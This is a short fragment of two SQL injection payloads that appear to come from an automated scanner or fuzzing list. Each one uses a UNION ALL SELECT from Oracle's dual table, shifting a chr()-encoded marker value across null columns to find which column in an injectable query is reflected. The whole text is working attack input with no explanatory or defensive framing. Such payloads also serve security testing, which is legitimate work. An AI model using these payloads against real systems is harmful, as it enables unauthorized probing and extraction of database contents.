s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(52)||chr(57)||chr(57)||chr(52)||chr(55),null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(52)||chr(57)||chr(57)||chr(52)||chr(55),null,null from dual--